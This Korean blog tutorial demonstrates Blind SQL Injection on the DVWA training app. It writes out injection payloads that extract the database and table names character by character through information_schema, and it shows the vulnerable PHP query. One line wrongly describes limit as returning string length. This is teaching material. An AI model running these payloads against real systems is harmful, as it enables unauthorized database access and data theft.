본문 바로가기

해킹-보안

Blind SQL Injection 공격 시연

반응형

ி Blind SQL Injection 기본 조건


- 쿼리결과가 참/거짓일 경우의 웹페이지의 반응을 확인한다.
- 문자열 비교시 참 반응만을 확인하여 해당 내용을 추출한다.



ி Blind SQL Injection 쿼리에 사용하는 함수



- substring : 첫번째 인자로 받은 문자열을 지정한 길이만큼 출력하는데 사용하는 함수
1) substring("source_data",1,2)='so'
2) substring("source_data",1,2)='ur'
1번에서 반환되는 결과는 'so'가 맞으니 결과는 참이다.
2번에서 반환되는 결과는 'so'인데 매칭하는 값이 다르니 거짓이다.

- limit : 문자열의 길이를 반환할 때 사용하는 함수
SELECT column_name FROM columns limit 0,10
SELECT의 결과에서 0번째 데이터를 시작으로 10개의 데이터를 출력 ( 0번 줄 ~ 9번째 줄 )



ி 실습


공격자가 브라우저에 아래와 같은 URL을 입력하자 화면에 '1'이라는 숫자가 출력되었다.
http://abcd.com/view.php?no=1 and substring(database(),1,1)='d' #
DB명의 첫 글자가 'd'라면 웹서버에서 true에 해당하는 결과를 웹페이지에 출력한다.
이와 유사한 공격으로 모든 입력 가능한 문자들을 반복 주입하여 DB 전체 이름을 알아낸다.

- 웹 해킹 모의 훈련장 DVWA에서 실습 진행
자신이 구축한 환경에서만 실습을 진행할 것

DVWA 검색창에 Blind SQL Injection을 수행하여 DB명을 추출한다.

1' and substring(database(),1,1)='d'#
1' and substring(database(),2,1)='v'#
1' and substring(database(),3,1)='w'#
1' and substring(database(),4,1)='a'#

결과 : 1' and substring(database(),1,4)='dvwa'#
값이 거짓이라면 빈 화면이 출력된다.

- SQL Source
$id = $_GET['id'];
"SELECT first_name, last_name FROM users WHERE user_id = '$id'";

결과쿼리는 기존 SQL문에 아래처럼 삽입된다.
SELECT first_name, last_name FROM users WHERE user_id = '1' and substring(database(),1,4)='dvwa'#'

- 테이블명을 추출한다.
1' and substring((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1)='g'#
1' and substring((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1)='u'#

......
1' and substring((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,5)='guest'#

1' and substring((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,1)='u'#
1' and substring((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,1)='s'#

......
1' and substring((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,5)='users'#
dvwa db에서 users와 guest 테이블이 존재하는 것으로 확인된다.
select 이후의 table_name은 테이블명을 획득하는 메타데이터를 의미하고
information_schema는 데이터베이스의 메타데이터(모든 Table, Column 등)를 저장하는 schema이다.

substring은 열(테이블의 이름), limit 구문은 행(테이블 종류)을 나타낸다.




limit는 인덱스가 0부터, substring은 1부터 시작한다.

예를들어 limit가 0,1 substring이 1,3이면 테이블명 'gue'를 가리키고
각각이 1,1 - 2,5라고 한다면 'sers'를 가리킨다.

위 과정을 반복하여 테이블 및 컬럼까지 알아내고 데이터를 조회하는 과정까지 Injection을 수행한다.











반응형